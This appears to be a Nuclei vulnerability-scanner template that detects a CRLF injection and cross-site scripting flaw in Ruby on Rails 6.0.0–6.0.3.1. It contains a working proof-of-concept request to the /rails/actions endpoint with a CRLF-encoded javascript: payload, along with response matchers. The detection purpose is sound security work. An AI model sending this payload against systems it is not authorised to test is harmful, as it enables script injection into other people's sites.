rails6-xss: Ruby on Rails - CRLF Injection and Cross-Site Scripting

id: rails6-xss

#  XSS (6.0.0 - 6.0.3.1); Payload is location=%0djavascript:alert(1);
#  Nuclei has issues with 302 response missing a Location header thus the
#  extended payload to make Nuclei work.
#  Working poc by @Mad-robot
# /rails/actions?error=ActiveRecord::PendingMigrationError&action=Run%20pending%20migrations&location=%0Djavascript%3Aalert%28document.domain%29
info:
  name: Ruby on Rails - CRLF Injection and Cross-Site Scripting
  author: ooooooo_q,rootxharsh,iamnoooob
  severity: medium
  description: Ruby on Rails 6.0.0-6.0.3.1 contains a CRLF issue which allows JavaScript to be injected into the response, resulting in cross-site scripting.
  reference:
    - https://hackerone.com/reports/904059
  classification:
    cwe-id: CWE-79,CWE-113
  metadata:
    max-request: 1
  tags: rails,xss,crlf,hackerone,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/rails/actions?error=ActiveRecord::PendingMigrationError&action=Run%20pending%20migrations&location=%0djavascript:alert(1)//%0aaaaaa"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'javascript:alert(1)'
        part: body

      - type: status
        status:
          - 302

      - type: word
        words:
          - 'Location: aaaaa'
          - 'text/html'
        part: header
        condition: and
# digest: 490a0046304402205a47f0c34657960212cbe6abedf8c8f773ab6f4fe347fc28fb119eae001a0b8a02200c98bdb61a3a953addc8ef6f8ded60e2bf6cf139abbe046430fbaa264907777f:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.